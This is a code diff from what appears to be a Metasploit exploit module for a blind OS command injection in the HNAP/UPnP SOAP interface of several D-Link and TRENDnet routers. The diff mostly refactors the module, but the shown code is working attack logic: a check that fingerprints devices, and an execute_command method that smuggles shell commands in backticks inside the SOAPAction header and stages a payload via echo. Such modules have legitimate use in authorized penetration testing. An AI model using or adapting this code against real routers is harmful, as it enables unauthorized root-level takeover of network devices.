@@ -18,9 +18,9 @@ def initialize(info = {})
18
18
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
19
19
interface. Since it is a blind OS command injection vulnerability, there is no
20
20
output for the executed command. This module has been tested on a DIR-645 device.
21
- The following devices are also reported as affected:
22
- DAP-1522 revB, DAP-1650 revB, DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB
23
- DIR-815 revB, DIR-300 revB, DIR- 600 revB, DIR-645, TEW-751DR, TEW-733GR
21
+ The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB,
22
+ DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB, DIR-300 revB,
23
+ DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR
24
24
} ,
25
25
'Author' =>
26
26
[
@@ -36,21 +36,19 @@ def initialize(info = {})
36
36
] ,
37
37
'DisclosureDate' => 'Feb 13 2015' ,
38
38
'Privileged' => true ,
39
- 'Platform' => 'unix ' ,
39
+ 'Platform' => 'linux ' ,
40
40
'Targets' =>
41
41
[
42
42
[ 'MIPS Little Endian' ,
43
43
{
44
- 'Platform' => 'linux' ,
45
44
'Arch' => ARCH_MIPSLE
46
45
}
47
46
] ,
48
47
[ 'MIPS Big Endian' , # unknown if there are BE devices out there ... but in case we have a target
49
48
{
50
- 'Platform' => 'linux' ,
51
49
'Arch' => ARCH_MIPSBE
52
50
}
53
- ] ,
51
+ ]
54
52
] ,
55
53
'DefaultTarget' => 0
56
54
) )
@@ -60,16 +58,17 @@ def initialize(info = {})
60
58
61
59
def check
62
60
uri = '/HNAP1/'
63
- soapaction = " http://purenetworks.com/HNAP1/GetDeviceSettings"
61
+ soap_action = ' http://purenetworks.com/HNAP1/GetDeviceSettings'
64
62
65
63
begin
66
64
res = send_request_cgi ( {
67
65
'uri' => uri ,
68
66
'method' => 'GET' ,
69
67
'headers' => {
70
- 'SOAPAction' => soapaction ,
71
- } ,
68
+ 'SOAPAction' => soap_action ,
69
+ }
72
70
} )
71
+
73
72
if res && [ 200 ] . include? ( res . code ) && res . body =~ /D-Link/
74
73
return Exploit ::CheckCode ::Detected
75
74
end
@@ -92,26 +91,25 @@ def exploit
92
91
execute_cmdstager (
93
92
:flavor => :echo ,
94
93
:linemax => 200 ,
95
- :temp => false
94
+ :temp => ''
96
95
)
97
-
98
96
end
99
97
100
98
def execute_command ( cmd , opts )
101
99
102
100
uri = '/HNAP1/'
103
101
104
- cmd_new = " cd && cd tmp && export PATH=$PATH:. && " << cmd
105
- soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{ cmd_new } `"
102
+ cmd_new = ' cd && cd tmp && export PATH=$PATH:. && ' << cmd
103
+ soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{ cmd_new } `"
106
104
107
105
begin
108
106
res = send_request_cgi ( {
109
107
'uri' => uri ,
110
108
'method' => 'GET' ,
111
109
'headers' => {
112
- 'SOAPAction' => soapaction ,
113
- } ,
114
- } , 1 )
110
+ 'SOAPAction' => soap_action ,
111
+ }
112
+ } , 3 )
115
113
rescue ::Rex ::ConnectionError
116
114
fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
117
115
end
0 commit comments